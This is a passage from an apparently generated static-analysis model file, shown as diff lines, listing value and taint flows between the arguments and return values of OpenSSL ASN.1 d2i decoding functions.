"d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_NULL", "(ASN1_NULL **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "d2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "taint", "dfc-generated"] + - ["", "", True, "d2i_ASN1_OBJECT", "(ASN1_OBJECT **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_OCTET_STRING", "(ASN1_OCTET_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLE", "(ASN1_STRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_PRINTABLESTRING", "(ASN1_PRINTABLESTRING **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SEQUENCE_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[**1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[*1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "Argument[**0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[1]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "d2i_ASN1_SET_ANY", "(ASN1_SEQUENCE_ANY **,const unsigned char **,long)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, 